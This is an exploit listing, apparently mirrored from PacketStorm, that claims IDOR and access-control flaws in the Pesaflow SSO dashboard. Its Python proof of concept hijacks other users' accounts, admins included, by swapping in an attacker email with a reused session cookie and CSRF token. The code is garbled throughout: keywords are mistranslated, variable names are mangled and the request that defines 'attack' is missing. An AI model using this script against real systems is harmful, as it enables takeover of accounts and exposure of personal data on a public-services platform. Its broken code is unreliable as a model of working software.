Exploit for 📄 Authentic 8 Insecure Direct Object Reference / Broken Access Control

## https://sploitus.com/exploit?id=PACKETSTORM:218773
==================================================================================================================================
    | # Title     : Authentic 8 Pesaflow SSO Dashboard IDOR Vulnerabilities                                                          |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://pesaflow.com/                                                                                            |
    ==================================================================================================================================
    
    [+] Summary    : Several critical security vulnerabilities have been identified in the Pesaflow e-services platform and its associated administration portal.
                     These vulnerabilities include an Insecure Direct Object Access (IDOR) vulnerability that allows unauthorized access to sensitive user data, 
    				 an authentication/authorization flaw that could lead to unauthorized access to the administration control panel, and a weakness in file upload restrictions that allows the uploading of malicious files.
                     These vulnerabilities could allow an attacker to access personally identifiable information (PII), compromise administration accounts, and manipulate government services. 
    				 It is strongly advised to address these vulnerabilities immediately to prevent data breaches and system compromise.
    
    [+] POC   :  Unauthorized Account Modification via IDOR in User Profile Management Endpoint This means you register a regular account, but you need a session cookie to choose an ID number for another account and change its email, especially if it's an admin account.
    
    Import Requests
    From bs4 Import BeautifulSoup
    
    
    TARGET_PROFILES = [92459] 
    MY_COOKIE = "_single_signon_key=feX/ygNzIB73dmAxWodOZ22U446F5pf1B1v+NPUPlj4uAE8T1FbZml XrH1UxDNO/DZeHERGSyP/HJFAczYwioR9zSNijJRe+W01PYTU+RNK4Wmo3Y6PnKa6xpKdvGxvW"
    NEW_EMAIL = "indoushka4ever@gmail.com"
    
    Session = Requests. Session()
    Session.Heads.Update({
    "User Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/122.0.0.0"
    
    "Cookie": MY_COOKIE
    })
    Define pwn_account(profile_id):
    
    Profile_url = f"https://example/user-profile/{profile_id}"
    Precision = session.get(profile_url)
    If res.status_code != 200:
    Print (f"[-] Cannot reach profile {profile_id}")
    Returns
    Soup = BeautifulSoup(res.text, 'html.parser')
    Token = sauce.find("meta", {"name": "csrf-token"})['content']
    
    update_url = f"https://example/users/{profile_id}/verify"
    
    payload = {
    "_csrf_token": token,
    "user[email]": NEW_EMAIL,
    "user[current_email]": "any@gmail.com" 
    }
    
    If Attack.status_code is at [200, 302]:
    print(f"[+ Successfully hijacked] Profile ID: {profile_id} is now associated with {NEW_EMAIL}")
    Other:
    print(f"[-] Failed to hijack {profile_id}. Status: {attack.status_code}")
    
    Personal ID in target profiles:
    
    pwn_account(pid)
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================